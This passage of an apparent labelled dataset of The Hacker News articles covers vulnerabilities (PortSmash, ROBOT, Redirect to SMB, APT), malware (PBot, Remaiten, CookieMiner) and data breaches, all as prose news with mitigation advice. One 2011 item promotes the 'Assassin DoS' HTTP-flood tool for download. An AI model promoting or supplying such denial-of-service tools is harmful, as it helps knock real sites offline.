The vulnerability, codenamed PortSmash (CVE-2018-5407), has joined the list of other dangerous side-channel vulnerabilities discovered in the past year, including Meltdown and Spectre, TLBleed, and Foreshadow.

Discovered by a team of security researchers from the Tampere University of Technology in Finland and Technical University of Havana, Cuba, the new side-channel vulnerability resides in Intel's Hyper-Threading technology, the company's implementation of Simultaneous MultiThreading (SMT).

Simultaneous MultiThreading is a performance feature that works by splitting up each physical core of a processor into virtual cores, known as threads, allowing each core to run two instruction streams at once.

Since SMT runs two threads in two independent processes alongside each other in the same physical core to boost performance, it is possible for one process to see a surprising amount of what the other is doing.

""We recently discovered a new CPU microarchitecture attack vector. The nature of the leakage is due to execution engine sharing on SMT (e.g., Hyper-Threading) architectures,"" the team says.

""More specifically, we detect port contention to construct a timing side channel to exfiltrate information from processes running in parallel on the same physical core.""

Thus, an attacker can run a malicious PortSmash process alongside a selected victim process on the same CPU core, allowing the PortSmash code to snoop on the operations performed by the other process by measuring the precise time taken for each operation.

PortSmash Attack to Steal OpenSSL Decryption Keys

As a proof-of-concept released on Github, researchers tested the PortSmash attack against OpenSSL (version <= 1.1.0h) cryptography library and were successfully able to steal the private decryption key using a malicious process (exploit) running on the same physical core as the OpenSSL thread (victim).

While the PortSmash attack has been confirmed to work on Intel's Kaby Lake and Skylake processors at this moment, researchers ""strongly suspected"" the attack to work on other SMT architectures, including AMD's, with some modifications to their code.

In August this year, after TLBleed and ForeShadow attacks were unveiled, Theo de Raadt, the founder of OpenBSD and leader at OpenSSH projects, advised users to disable SMT/Hyperthreading in all Intel BIOSes.

""SMT is fundamentally broken because it shares resources between the two CPU instances and those shared resources lack security differentiators,"" Theo said.

He also suspected that ""there will be more hardware bugs and artifacts disclosed. Due to the way SMT interacts with speculative execution on Intel CPUs, I expect SMT to exacerbate most of the future problems.""

How to Protect Your Systems Against PortSmash Attack

Researchers reported the new side-channel vulnerability to Intel security team early last month, but when the company failed to provide the security patches until 1 November, the team went public with the PoC exploit.

The team has also promised to release detailed paper on the PortSmash attack, titled Port Contention for Fun and Profit, in the coming days.

The simple fix for the PortSmash vulnerability is to disable SMT/Hyper-Threading in the CPU chip's BIOS until Intel releases security patches. OpenSSL users can upgrade to OpenSSL 1.1.1 (or >= 1.1.0i if you are looking for patches).

In June this year, the OpenBSD project disabled Intel's Hyper-Threading to prevent its users from previously disclosed Spectre-class attacks, as well as future timing attacks.

AMD is investigating the PortSmash side-channel vulnerability report to know any potential AMD product susceptibility.

",Vulnerability
"Fourth, a 16-year-old Hacker, Arrested over TalkTalk Hack",https://thehackernews.com/2015/11/talktalk-hacker.html,"Police have arrested a fourth person, a 16-year-old boy, from London in connection with the high-profile hack of British telecoms giant TalkTalk.

The investigating officers from the Metropolitan Police Cyber Crime Unit (MPCCU) arrested the teenager at his home in Norwich on suspicion of Computer Misuse Act offences.

TalkTalk was subjected to a 'significant and sustained' hacking attack on its official website two weeks back, which put the Bank Details and Personally Identifiable Information (PII) of its 4 Million customers at risk.

The telco confirmed last week that at most 1.2 Million names, email addresses and phone numbers and around 21,000 unique bank account numbers and sort codes were compromised in the attack.

However, TalkTalk said that the stolen credit card details were incomplete, so the payment cards could not be used for any false financial transactions. But, the company advised customers to remain vigilant against financial fraud.

Security experts believe that the recent hacking attack on TalkTalk may have taken place due to SQL injection (SQLi) attack, a method used to inject SQL commands to breach the database and get access to the users' personal data.

This is the fourth arrest since TalkTalk suffered a massive data breach and the 16-year-old boy remains in custody at a local police station.

The Police Service of Northern Ireland and MET detectives arrested a 20-year-old Staffordshire man on Sunday while 2 teenagers were also arrested in connection with the Data breach incident.

The first arrest came last week when police arrested and then bailed a 15-year-old boy from Northern Ireland while another 16-year-old boy from London was arrested and bailed on 30 October.

However, the connection between these four persons has not been known yet.

",Data_Breaches
Assassin DoS 2.0.3 - Created By MaxPainCode,https://thehackernews.com/2011/11/assassin-dos-203-created-by-maxpaincode.html,"Assassin DoS 2.0.3 - Created By MaxPainCode

MaxPainCode develop a new dos tool is based on a new attack that uses HTTP Flood to get the site down, this will work if you try with big dedicated server. Another Feature of Assassin DoS is that it will not take all your resources as the most DoS do. Also its like only 100 mili seconds delay when hitting the target and its available for windows.

Same Issue is Discussed with Microsoft Security Response Center by Developer of This tool.

Its available to Download here (Disclaimer : Use it at your own Risk)

",Vulnerability
ROBOT Attack: 19-Year-Old Bleichenbacher Attack On Encrypted Web Reintroduced,https://thehackernews.com/2017/12/bleichenbacher-robot-rsa.html,"A 19-year-old vulnerability has been re-discovered in the RSA implementation from at least 8 different vendors—including F5, Citrix, and Cisco—that can give man-in-the-middle attackers access to encrypted messages.

Dubbed ROBOT (Return of Bleichenbacher's Oracle Attack), the attack allows an attacker to perform RSA decryption and cryptographic operations using the private key configured on the vulnerable TLS servers.

ROBOT attack is nothing but a couple of minor variations to the old Bleichenbacher attack on the RSA encryption protocol.

First discovered in 1998 and named after Swiss cryptographer Daniel Bleichenbacher, the Bleichenbacher attack is a padding oracle attack on RSA-based PKCS#1 v1.5 encryption scheme used in SSLv2.

Leveraging an adaptive chosen-ciphertext attack which occurred due to error messages by SSL servers for errors in the PKCS #1 1.5 padding, Bleichenbacher attack allows attackers to determine whether a decrypted message is correctly padded.

This information eventually helps attackers decrypt RSA ciphertexts without recovering the server's private key, completely breaking the confidentiality of TLS when used with RSA encryption.
""An attacker could iteratively query a server running a vulnerable TLS stack implementation to perform cryptanalytic operations that may allow decryption of previously captured TLS sessions."" Cisco explains in an advisory.
In 1998, Bleichenbacher proposed to upgrade encryption scheme, but instead, TLS designers kept the vulnerable encryption modes and added a series of complicated countermeasures to prevent the leakage of error details.

Now, a team of security researchers has discovered that these countermeasures were incomplete and just by using some slight variations, this attack can still be used against many HTTPS websites.

""We changed it to allow various different signals to distinguish between error types like timeouts, connection resets, duplicate TLS alerts,"" the researchers said.
""We also discovered that by using a shortened message flow where we send the ClientKeyExchange message without a ChangeCipherSpec and Finished message allows us to find more vulnerable hosts.""
According to the researchers, some of the most popular websites on the Internet, including Facebook and Paypal, are affected by the vulnerability. The researchers found ""vulnerable subdomains on 27 of the top 100 domains as ranked by Alexa.""

ROBOT attack stems from the above-mentioned implementation flaw that only affects TLS cipher modes using RSA encryption, allowing an attacker to passively record traffic and later decrypt it.
""For hosts that usually use forward secrecy, but still support a vulnerable RSA encryption key exchange the risk depends on how fast an attacker is able to perform the attack,"" the researchers said.
""We believe that a server impersonation or man in the middle attack is possible, but it is more challenging.""
The ROBOT attack has been discovered by Hanno Böck, Juraj Somorovsky of Ruhr-Universitat Bochum/Hackmanit GmbH, and Craig Young of Tripwire VERT, who also created a dedicated website explaining the whole attack, its implications, mitigations and more.

The attack affects implementations from several different vendors, some of which have already released patches and most have support notes acknowledging the issue.

You will find the list of affected vendors on the ROBOT website.

The researchers have also released a python tool to scan for vulnerable hosts. You can also check your HTTPS server against ROBOT attack on their website.

",Vulnerability
Python-Based Adware Evolves to Install Malicious Browser Extensions,https://thehackernews.com/2018/06/pythonbot-pbot-adware.html,"Security researchers have been warning of a few newly detected variants of python-based adware that are being distributed in the wild not only to inject ads but also found installing malicious browser extensions and hidden cryptocurrency miner into victims' computers.

Dubbed PBot, or PythonBot, the adware was first uncovered more than a year ago, but since then the malware has evolved, as its authors have been trying different money-making schemes to profit themselves, according to researchers at Kaspersky Labs.

The previous versions of the PBot malware were designed to perform man-in-the-browser (MITB) attacks to inject unwanted advertising scripts on web pages visited by the victim, but the newer variants have been found installing malicious ad extensions in the web browser.
""Developers are constantly releasing new versions of this modification, each of which complicates the script obfuscation,"" Kaspersky researchers said in their blog post published today.
""Another distinctive feature of this PBot variation is the presence of a module that updates scripts and downloads fresh browser extensions.""
The malware is usually distributed through pop-up advertisements on partner sites, which redirect users to the PBot download page, disguised as legitimate software.

Clicking anywhere on the download page eventually drops an ""update.hta"" file on the victim's system, which if opened, downloads the original PBot installer from a remote command-and-control server.

Also Read: Learn Python Online — From Scratch to Penetration Testing

During installation, the malware drops a folder with the Python 3 interpreter, some Python scripts, and a browser extension on the targeted system. After that, it uses Windows Task Scheduler to execute python scripts when the user signs into the system.

PBot consists of ""several Python scripts executed in sequence. In the latest versions of the program, they are obfuscated using Pyminifier,"" the researchers say.

If PBot finds any targeted web browsers (Chrome/Opera) installed on the victim's system, it uses ""brplugin.py"" script to generate DLL file and then injects it into the launched browser and install the ad extension.

""The browser extension installed by PBot typically adds various banners to the page, and redirects the user to advertising sites,"" the researchers explain.

Although the malware has not been distributed across the globe, it has an alarming number of victims, the majority of which resides in Russia, Ukraine, and Kazakhstan.
""Throughout April, we registered more than 50,000 attempts to install PBot on computers of users of Kaspersky Lab products. The following month this number increased, indicating that this adware is on the rise,"" the researchers say.
The best way to protect yourself from avoiding falling victims to such attacks is always to be vigilant while surfing the Internet, and always keep a good antivirus software installed on your computer that can detect and block such threats.

Last but not the least, always download apps from trusted sources, like Google Play Store, and stick to verified developers, and do not forget to keep both your devices and software up-to-date.

",Malware
Advanced Malware targeting Internet of the Things and Routers,https://thehackernews.com/2016/03/internet-of-thing-malware.html,"Anything connected to the Internet could be hacked and so is the Internet of Things (IoTs).

The market fragmentation of IoTs or Internet-connected devices is a security nightmare, due to poor security measures implemented by their vendors.

Now, the researchers at security firm ESET have discovered a piece of Malware that is targeting embedded devices such as routers, and other connected devices like gateways and wireless access points, rather than computers or smartphones.

Dubbed KTN-Remastered or KTN-RM, the malware is a combination of both Tsunami (or Kaiten) as well as Gafgyt.

Tsunami is a well-known IRC (Internet Relay Chat) bot used by miscreants for launching Distributed Denial of Service (DDoS) attacks while Gafgyt is used for Telnet scanning.

KTN-RM, which researcher dubbed 'Remaiten,' features an improved spreading mechanism by carrying downloader executable binaries for embedded platforms and other connected devices.

How Does the Linux Malware Work?

The malware first performs Telnet scanning to look for routers and smart devices. Once the connection is made, the malware tries to guess the login credentials in an effort to take over weakly-secured devices.

If it successfully logs in, the malware will issue a shell command to download bot executable files for multiple system architectures before running them on the compromised networking kit.
""This is a simple but noisy way of ensuring that the new victim gets infected because it is likely that one of the binaries is for the current platform,"" explained ESET Malware Researcher Michal Malík. ""It targets mainly those with weak login credentials.""
The malware, version 2.0, also has a welcome message for those who might try to neutralise its threat, containing a reference to the Malware Must Die blog.

Perhaps it is a way to take revenge, as Malware Must Die has published extensive details about Gafgyt, Tsunami and other members of this Malware family.

For more technical details about KTN-RM or Remaiten, you can head on to ESET's official blog post published Wednesday.

",Malware
18-year-old Unpatched Vulnerability Affects All Versions of Microsoft Windows,https://thehackernews.com/2015/04/smb-windows-vulnerability.html,"Security researchers have unearthed a serious security flaw in all supported versions of Windows that could let hackers steal users' credentials from computers, tablets or servers running any version of Windows operating system, including the as-yet-released Windows 10.

This vulnerability in Windows was first discovered 20 Years ago:

The critical bug, dubbed ""Redirect to SMB,"" is a variant of a vulnerability found in Windows by researcher Aaron Spangler nearly 18 years ago that caused Windows to expose a user's Windows username and password automatically.

However, according to researchers at security firm Cylance who discovered the flaw, this weakness in Windows was never patched by Microsoft, as Microsoft says that this flaw is not worth focusing on, and, therefore...

...This results in a new hack that targets the SMB file sharing protocol.

But, What is SMB?

SMB, or Server Message Block, is a protocol that allows users to share files over a network. In Windows operating systems, SMB is often used by companies and organizations to share files from one server across their entire network.

Now, how this SMB protocol is exploited by hackers?

While requesting a file from the server, Windows will automatically attempt to authenticate to the SMB server by providing the system users' credentials to the server.

How ""Redirect to SMB"" attack works?

Any method used by an attacker to force victims to try to authenticate to an attacker-controlled SMB server, simply describes the Redirect to SMB attack.

So, an attacker only needs to intercept this HTTP request, which can be easily done using Man-in-the-Middle (MITM) attack, and then redirect the victim to a malicious SMB server controlled by the attacker.

When a victim inputs a URL that starts with the word ""file://"" or clicks on a malicious link, Windows believes that the user is trying to gain access to a file on a server.

Because of this vulnerability, Windows will automatically attempt to authenticate itself to the malicious SMB server by providing the user's login credentials to the server.

This could allow a malicious hacker to steal victims' Windows username, domain as well as the typically hashed password, which, Cyclance claims, could be cracked by an attacker with a high-end GPU in less than half a day.

What does Microsoft say about the issue?

Microsoft officials downplayed the Cylance ""discovery"" and the seriousness of the flaw on Monday, saying that the issue was not new at all, and the chances of falling victim to this attack are little.
""We do not agree with Cylance's claims of a new attack type. Cybercriminals continue to be engaged in a number of nefarious tactics,"" a Microsoft spokesperson released a statement on Monday.
""However, several factors would need to come together for this type of cyber attack to work, such as success in luring a person to enter information into a fake website. We encourage people to avoid opening links in emails from senders that they do not recognize or visiting unsecure sites.""
Who are affected?

Cyclance claims that nearly 31 programs are vulnerable to the SMB flaw, which includes:
Many widely used applications: Adobe Reader, Apple QuickTime and Apple Software Update that handles iTunes updates
Microsoft Applications: Internet Explorer, Windows Media Player, Excel 2010, and even Microsoft Baseline Security Analyzer
Developer Tools: Github for Windows, PyCharm, IntelliJ IDEA, PHP Storm and JDK 8u31's installer
Security Tools: .NET Reflector and Maltego CE
Antivirus Software: Symantec's Norton Security Scan, AVG Free, BitDefender Free and Comodo Antivirus
Team Tools: Box Sync and TeamViewer
How do you protect yourself against this flaw?
The simplest way to protect against this issue is to block outbound traffic from TCP 139 and TCP 445. This could be prevented using a network gateway firewall to prevent only SMB communications to destinations outside of your network.
Apply applicable and up-to-date software patches from vendors.
Use strong passwords so that it requires a larger time for brute forcing of any hashing algorithms.

",Vulnerability
Update Your Firefox Browser to Fix a Critical Remotely Exploitable Flaw,https://thehackernews.com/2018/01/firefox-browser-update.html,"Mozilla has released an important update for its Firefox web browser to patch a critical vulnerability that could allow remote attackers to execute malicious code on computers running an affected version of the browser.

The update comes just a week after the company rolled out its new Firefox Quantum browser, a.k.a Firefox 58, with some new features like improved graphics engine and performance optimizations and patches for more than 30 vulnerabilities.

According to a security advisory published by Cisco, Firefox 58.0.1 addresses an 'arbitrary code execution' flaw that originates due to 'insufficient sanitization' of HTML fragments in chrome-privileged documents (browser UI).

Hackers could exploit this vulnerability (CVE-2018-5124) to run arbitrary code on the victim's computer just by tricking them into accessing a link or 'opening a file that submits malicious input to the affected software.'
""A successful exploit could allow the attacker to execute arbitrary code with the privileges of the user. If the user has elevated privileges, the attacker could compromise the system completely,"" the advisory states.
This could allow an attacker to install programs, create new accounts with full user rights, and view, change or delete data.

However, if the application has been configured to have fewer user rights on the system, the exploitation of this vulnerability could have less impact on the user.

Affected web browser versions include Firefox 56 (.0, .0.1, .0.2), 57 (.0, .0.1, .0.2, .0.3, .0.4), and 58 (.0). The vulnerability has been addressed in Firefox 58.0.1, and you can download from the company's official website.

The issue, which was discovered by Mozilla developer Johann Hofmann, does not affect Firefox browser for Android and Firefox 52 ESR.

Users are recommended to apply the software updates before hackers exploit this issue, and avoid opening links provided in emails or messages if they appear from suspicious or unrecognized sources.

Administrators are also advised to use an unprivileged account when browsing the Internet and monitor critical systems.

",Vulnerability
Facebook admits public data of its 2.2 billion users has been compromised,https://thehackernews.com/2018/04/facebook-data-privacy.html,"Facebook dropped another bombshell on its users by admitting that all of its 2.2 billion users should assume malicious third-party scrapers have compromised their public profile information.

On Wednesday, Facebook CEO Mark Zuckerberg revealed that ""malicious actors"" took advantage of ""Search"" tools on its platform to discover the identities and collect information on most of its 2 billion users worldwide.

The revelation once again underlines the failure of the social-media giant to protect users' privacy while generating billions of dollars in revenue from the same information.

The revelation came weeks after the disclosure of the Cambridge Analytica scandal, wherein personal data of 77 million users was improperly gathered and misused by the political consultancy firm, who reportedly also helped Donald Trump win the US presidency in 2016.

However, the latest scam revealed by the social media giant about the abuse of Facebook's search tools over the course of several years impacts almost all of its 2.2 billion users, making it the worst year for the world's largest social network.

""It is clear now that we didn't do enough, we didn't focus enough on preventing abuse,"" Zuckerberg told press reporters. ""We didn't take a broad enough view of what our responsibility is, and that was a huge mistake.""

The company said it had disabled the feature—which allows anyone to look up users by entering phone numbers or email addresses into Facebook's search tool—in its site's search function that enabled malicious actors to scrape public profile information.

Here's How Scrapped Data Could Have Helped Cybercriminals

As mentioned above, the source of this scam was Facebook's search function, which was turned on by default. Hackers took help of ""Dark Web,"" where criminals post personal information of users stolen from data breaches over the years, to collect.

Once they had their hands on email addresses and phone numbers, the hackers then used automated computer programs to feed the email addresses and phone numbers into Facebook's ""search"" box.

This scan allowed them to find out the full names of people associated with the email addresses or phone numbers, along with the Facebook profile information they chose to make public, which often includes names, profile photos, and hometown.

This collected information was then more likely to be used by cybercriminals to target particular individual using social engineering or other cyber attacks.

""Until today, people could enter another person's phone number or email address into Facebook search to help find them. This has been especially useful for finding your friends in languages which take more effort to type out a full name, or where many people have the same name,"" Facebook Chief Technology Officer Mike Schroepfer said in a blog post describing changes the company has made to its service to protect its users' data better.

""However, malicious actors have also abused these features to scrape public profile information by submitting phone numbers or email addresses they already have through search and account recovery. Given the scale and sophistication of the activity we've seen, we believe most people on Facebook could have had their public profile scraped in this way.""

While apologizing ""second time"" to its users, Zuckerberg said this feature has immediately been turned off, noting that the scraped profile information was only limited to what was publically viewable.

However, Zuckerberg defended gathering users' data for a business model, arguing ""People tell us that if they're going to see ads, they want the ads to be good.""

""On the one hand, people want relevant experiences, and on the other hand there is some discomfort about how data is used,"" Zuck added. ""I think the overwhelming feedback is for wanting a good experience.""

Also, it was initially reported that Cambridge Analytica quiz app gathered data on some 50 million Facebook users, but Facebook revised that number upward by 74 percent, i.e., over 77 million.

In an effort to protect its users private data, Facebook is now restricting third-party apps from accessing users' information about their relationship status, religious or political views, work history, education, habits, interest, video watching, and games—basically almost every information data brokers and businesses collect to build profiles of their customers' tastes.

The company is all set to roll out a new feature on Monday that will inform users who were affected by the Cambridge Analytica data leak.

",Data_Breaches
Critical RCE Flaw in Linux APT Allows Remote Attackers to Hack Systems,https://thehackernews.com/2019/01/linux-apt-http-hacking.html,"Just in time…

Some cybersecurity experts this week arguing over Twitter in favor of not using HTTPS and suggesting software developers to only rely on signature-based package verification, just because APT on Linux also does the same.

Ironically, a security researcher just today revealed details of a new critical remote code execution flaw in the apt-get utility that can be exploited by a remote, man-in-the middle attacker to compromise Linux machines.

The flaw, apparently, once again demonstrates that if the software download ecosystem uses HTTPS to communicate safely, such attacks can easily be mitigated at the first place.

Discovered by Max Justicz, the vulnerability (CVE-2019-3462) resides in the APT package manager, a widely used utility that handles installation, update and removal of software on Debian, Ubuntu, and other Linux distributions.

According to a blog post published by Justicz and details shared with The Hacker News, the APT utility doesn't properly sanitize certain parameters during HTTP redirects, allowing man-in-the-middle attackers to inject malicious content and trick the system into installing altered packages.

APT HTTP redirects help Linux machines to automatically find suitable mirror server to download software packages when others are unavailable. If the first server somehow fails, it returns a response with the location of next server from where the client should request the package.
""Unfortunately, the HTTP fetcher process URL-decodes the HTTP Location header and blindly appends it to the 103 Redirect response,"" Justicz explains.
As shown by the researcher in a video demonstration shared with The Hacker News, an attacker—intercepting HTTP traffic between APT utility and a mirror server, or just a malicious mirror—can inject malicious packages in the network traffic and execute arbitrary code on the targeted system with the highest level of privileges, i.e. root.
""You can completely replace the requested package, as in my proof of concept. You could substitute a modified package as well, if you wanted to,"" Justicz told THN.
Though Justicz has not tested, he believes the vulnerability affects all type of package downloads, even if you are installing a package for the very first time or updating an old one.
No doubt, to protect the integrity of the software packages, it's important to use signature-based verification, as software developers do not have control over mirror servers, but that doesn't mean one should ignore benefits of using HTTPS protocol over the complexity of infrastructural upgrades in some particular cases.

No software, platform or server can claim to be 100% secure, so adopting the idea of defense-in-depth is never a bad idea to consider.

It should also be noted that cybersecurity experts do not expect organizations or open-source developers to implement HTTPS overnight, but they should also not even reject the defensive measures completely.
""By default, Debian and Ubuntu both use plain http repositories out of the box (Debian lets you pick what mirror you want during installation, but doesn't actually ship with support for https repositories – you have to install apt-transport-https first),"" the researcher explains.

""Supporting http is fine. I just think it's worth making https repositories the default – the safer default – and allowing users to downgrade their security at a later time if they choose to do so.""
The developers of APT software have released updated version 1.4.9 to fix the reported remote code execution vulnerability.

Since apt-get is part of many major Linux distributions including Debian and Ubuntu, who have also acknowledged the flaw and released security updates, it is highly recommended for Linux users to update their systems as soon as possible.

",Vulnerability
Adobe Releases Out-of-Band Security Patches for 82 Flaws in Various Products,https://thehackernews.com/2019/10/adobe-software-patches.html,"No, it's not a patch Tuesday.

It's the third Tuesday of the month, and as The Hacker News shared an early heads-up late last week on Twitter, Adobe today finally released pre-announced out-of-band security updates to patch a total of 82 security vulnerabilities across its various products.

The affected products that received security patches today include:

Adobe Acrobat and Reader
Adobe Experience Manager
Adobe Experience Manager Forms
Adobe Download Manager

Out of 82 security vulnerabilities, 45 are rated critical, and all of them affect Adobe Acrobat and Reader and which, if exploited successfully, could lead to arbitrary code execution in the context of the current user.

A majority of critical-rated vulnerabilities (i.e., 26) in Adobe Acrobat and Reader reside due to use-after-free, 6 due to out-of-bounds write, 4 are type confusion bugs, 4 due to untrusted pointer dereference, 3 are heap overflow bugs, one buffer overrun and one race condition issue.

Adobe Acrobat and Reader for Microsoft Windows and Apple macOS operating systems has also received patches for 23 important-rated vulnerabilities that could lead to information disclosure attacks due to out-of-bounds read and cross-site scripting issues.

Adobe Experience Manager, a comprehensive content management solution for building websites, mobile apps, and forms, has been patched to address a total of 12 vulnerabilities, 8 are rated as important, and rests are moderate in severity.

The remaining two vulnerabilities patched today include: one moderate information disclosure issue resides in Adobe Experience Manager Forms for all platforms, and one important privilege escalation flaw affects Adobe Download Manager for Microsoft Windows.

Speaking of out-of-band security updates, surprisingly Adobe Flash Player received no security patch this time. It should be noted that Adobe would stop providing updates for Flash Player at the end of 2020.

Both Acrobat and Reader and Experience Manager updates received a priority rating of 2, which means similar flaws have previously been seen exploited in the wild, but for now, the company has found no evidence of any exploitation of these vulnerabilities in the wild.

On the other hand, Adobe Experience Manager Forms and Adobe Download Manager updates received a priority rating of 3, which means the vulnerabilities addressed in the updates are unlikely to be exploited in attacks, according to Adobe's update notes.

Though none of the security vulnerabilities fixed in this batch of Adobe updates were publicly disclosed or found being exploited in the wild, we highly recommend you to download the latest versions of the affected software and apply patches at your earliest convenience.

If your system has not yet detected the availability of the new update automatically, you should manually install the update by choosing ""Help → Check for Updates"" in your Adobe software for Windows, macOS, Linux, and Chrome OS.

",Vulnerability
"US ,Israel or Russia , Who is Behind Stuxnet?",https://thehackernews.com/2011/12/us-israel-or-russia-who-is-behind.html,"US ,Israel or Russia , Who is Behind Stuxnet ?

Initially After Symantec did a little reverse engineering on the now infamous Stuxnet worm, many started pointing the finger at the US and Israel, especially since it was concluded that the piece of malware was designed to target a specific version of the Siemens SCADA programmable logic controls (PLC) operating in certain nuclear facilities from Iran. Ralph Langner told a conference in California that the malicious software was designed to cripple systems that could help build an Iranian bomb.Mr Langner was one of the first researchers to show how Stuxnet could take control of industrial equipment.

Dr. Panayotis A. Yannakogeorgos is a cyber defense analyst with the U.S. Air Force Research Institute. He told the Diplomat that the one weak point in the theory that the US and Israel hit the Iranian nuclear problem with Stuxnet is that both sides denied it when they would not have had to. Yannakogeorgos said that the Russians could have equally carried out the attack. Apparenly the Russians are not that happy about an Iranian indigenous nuclear capability even if they are helping build it.

In brief, the case for the United States having designed and developed Stuxnet is as follows: First, neither the United States nor Israel wants Iran to develop nuclear weapons. The worm, then, is seen as likely part of a covert strategy to delay or destroy Iran's nuclear infrastructure while stopping short of war. The weapon was designed to target a specific version of the Siemens SCADA programmable logic controls (PLC) operating a specific configuration and number of cascading centrifuges found in Iran. Some analysts point to the fact that there were vulnerability assessments being run at Idaho National Labs on Siemens PLC software. Others note that the design of the cyber weapon closely fit Richard Clark's description in Cyber War of a well-designed and ethically thought out weapon limiting collateral damage due to a vast army of lawyers scrutinizing the effects. The malware-analyst community, meanwhile, points to digital code strings such as ""b:\myrtus\"" taken from biblical events important to Israeli identity. And, as the story goes, after the political decisions, vulnerability assessments, and weapon design took place, either an Iranian agent was found to take the USB memory stick into the nuclear facility, or all the computers around the plants were infected with Stuxnet via the conficker worm.

Russia has a good reason not to want Iran to get its paws on nuclear technology. In 1995, for example, Chechen rebels planted a ""dirty bomb"" in Moscow's Izmailovsky Park. Nuclear material is much more secure in Russia but if Iran develops a full-blown nuclear capability, Chechen or other violent extremist and nationalist rebels go to Iran to buy the material.

The Stuxnet attack may be coupled with an assassination campaign targeting Iranian nuclear and computer scientists and various leaks suggesting covert action, all made for a compelling case of U.S. involvement. But whether it was the United States or Russia behind it, it's clear that in Stuxnet's aftermath, and with the emergence of other worms within their systems, Iranian nuclear engineers have less confidence in the accuracy of sensor information on digital displays. All this means that there's now no need for the U.S. or Russia to say anything on the issue internal conflict in the minds of those responsible for Iran's nuclear program is doing a perfectly good job of delaying progress.

",Malware
New Guidelines Explain How Apple will Legally Process Law Enforcement Data Requests,https://thehackernews.com/2014/05/new-guidelines-explain-how-apple-will.html,"Despite the contrary regarding NSA's DROPOUTJEEP program, Apple had always denied working with the NSA in the creation of any backdoors used to spy on its users and also claimed that the NSA doesn't have backdoor access to its data. But, Apple could legally share your phone data with the law enforcement agencies if asked for.

Being a secretive company, Apple is very clear at its point of sharing its users' data with the government when U.S. law enforcement agencies request data relating to the company's users. With the release of a set of new guidelines late Wednesday regarding requests for customer data from the U.S. law enforcement agencies, Apple specifies what information can and cannot be lifted from its users devices upon the receipt of disclosure requests, search warrants, or legal orders.

""These guidelines are provided for use by law enforcement or other government entities in the U.S. when seeking information from Apple Inc. about users of Apple's products and services, or from Apple devices,"" the site said.

Apple states that it can extract active user-generated data from even passcode-locked iOS devices and could only retrieve data from its own first party app that includes SMS messages, photos, videos, contacts, audio recording, and call history.

However, Apple can't provide access to users' email, calendar entries, or any third-party app data. Also it can only extract the data from the devices running iOS 4 or ""in good working order"" at its Cupertino, California headquarters and the law enforcement authorities need to provide their own removable media in order to store the extracted data.

While the report is not at all surprising as Apple is not doing anything new with the data disclosures, the only thing is that the guidelines provide more detail about the types of information the company is capable of preserving and how administrative subpoenas issued by FBI and valid warrants are served to the process for information.

According to the updated guidelines, in most of the cases the company will notify the affected customer when the data is solicited as part of a legal process, except in some specific cases in which it will stay silent where either the notice is prohibited by law or likely to put people in immediate danger.

Pointing out that ""the law enforcement should be as narrow and specific as possible when fashioning their legal process to avoid misinterpretation and/or objections in response to an overly broad request,"" Apple said it ""will notify its customers when their personal information is being sought in response to legal process except where providing notice is prohibited by the legal process itself, by a court order Apple receives (e.g., an order under 18 U.S.C. §2705(b)), or by applicable law or where Apple, in its sole discretion, believes that providing notice could create a risk of injury or death to an identifiable individual or group of individuals or in situations where the case relates to child endangerment,"" the company says.

It is very much clear that whatever is stored by the company can be provided to the officials on the request, which covers everything from iOS devices to web services like iCloud. Under some specific circumstances, apart from locked iOS device' data, the company can also provide email logs and contents, subscriber information and other information that customers have backed up and stored to iCloud.

The company detailed about what it won't do. It doesn't extract data from either FaceTime calls or iMessage chats as they are always in an encrypted form. It also can't remotely switch on Find My iPhone or grab GPS information, so don't afraid of expecting the feds to your door.

""Location information for a device located through the Find My iPhone feature is customer facing and Apple does not have records of maps or email alerts provided through the service. Find My iPhone connection logs may be available and can be obtained with a subpoena or greater legal process. Find My iPhone transactional activity for requests to remotely lock or erase a device may be available if utilized by the customer,"" the guidelines say.

Apple has increased the transparency in response to the worldwide outrage caused by the former US National Security Agency contractor Edward Snowden revelations of confidential documents and the updated Apple policy will not at all apply to national security letters or those requests that have Foreign Intelligence Surveillance Court approval.

",Data_Breaches
New Mac Malware Targets Cookies to Steal From Cryptocurrency Wallets,https://thehackernews.com/2019/02/mac-malware-cryptocurrency.html,"Mac users need to beware of a newly discovered piece of malware that steals their web browser cookies and credentials in an attempt to withdraw funds from their cryptocurrency exchange accounts.

Dubbed CookieMiner due to its capability of stealing cookies-related to cryptocurrency exchanges, the malware has specifically been designed to target Mac users and is believed to be based on DarthMiner, another Mac malware that was detected in December last year.

Uncovered by Palo Alto Networks' Unit 42 security research team, CookieMiner also covertly installs coin mining software onto the infected Mac machines to secretly mine for additional cryptocurrency by consuming the targeted Mac's system resources.

In the case of CookieMiner, the software is apparently geared toward mining ""Koto,"" a lesser-known, privacy-oriented cryptocurrency which is mostly used in Japan.

However, the most interesting capabilities of the new Mac malware is to steal:

Both Google Chrome and Apple Safari browser cookies associated with popular cryptocurrency exchanges and wallet service websites.
Usernames, passwords and credit card information saved in the Chrome web browser.
Cryptocurrency wallet data and keys.
iPhone's text messages of victims stored in iTunes backups.

When talking about the targeted cryptocurrency exchanges and wallet services, CookieMiner was found targeting Binance, Coinbase, Poloniex, Bittrex, Bitstamp, MyEtherWallet, and any website having ""blockchain"" in its domain and using cookies to track their users temporarily.
By leveraging the combination of stolen login credentials, web cookies, and SMS data, it would be possible for an attacker to even bypass two-factor authentication for exchange sites and steal cryptocurrencies from the victim's accounts and wallets.
""If only the username and password are stolen and used by a bad actor, the website may issue an alert or request additional authentication for a new login,"" the researchers explained in their blog post published Thursday.
""However, if an authentication cookie is also provided along with the username and password, the website might believe the session is associated with a previously authenticated system host and not issue an alert or request additional authentication methods.""
It should be noted that researchers have not yet found any evidence of the attackers successfully withdrawing funds from any user's wallet or account, but are speculating based on the malware's behavior.

What's more? CookieMiner also uses the EmPyre backdoor for post-exploitation control, allowing attackers to send commands to the infected Mac computers for remote control.

EmPyre is a Python post-exploitation agent that checks if the Little Snitch application firewall is running on the victim's machine and if it finds one, it will stop and exit. The agent can also be configured to download additional files.

Although it is unclear how the CookieMiner malware is pushed to the victims at the first place, it is believed that the users are tricked into downloading tainted software onto their machines which delivers the malware.

Palo Alto Networks has already contacted targeted cryptocurrency exchanges and wallet services, along with Apple and Google, and reported the issue.

Since the researchers believe that the CookieMiner campaign is still active, the best way to prevent falling victim to such malware attacks is to avoid saving your credentials or credit card information within your web browsers and, not to mention, avoid downloading apps from third-party platforms.

